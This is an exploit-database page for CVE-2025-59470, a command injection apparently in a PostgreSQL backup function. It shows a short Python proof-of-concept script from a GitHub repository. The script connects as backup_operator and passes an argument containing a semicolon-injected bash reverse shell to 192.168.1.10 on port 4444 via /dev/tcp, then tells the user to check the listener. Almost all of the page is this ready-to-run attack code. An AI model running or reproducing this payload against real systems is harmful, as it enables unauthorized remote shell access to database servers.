Exploit database

GH-aa05b971131c010808c2fe6b8ab21f26

george0papasotiriou/cve-2025-59470-postgresql-command-injection

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-59470

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 397 bytes
import psycopg2

conn = psycopg2.connect(host="target", database="postgres", user="backup_operator", password="pass")
cur = conn.cursor()
# Inject command to create a reverse shell
cur.execute("SELECT pg_backup('--backup-dir=/tmp; bash -c \"bash -i >& /dev/tcp/192.168.1.10/4444 0>&1\"')")
result = cur.fetchone()
print("[+] Command injection attempted. Check listener.")
cur.close()
conn.close()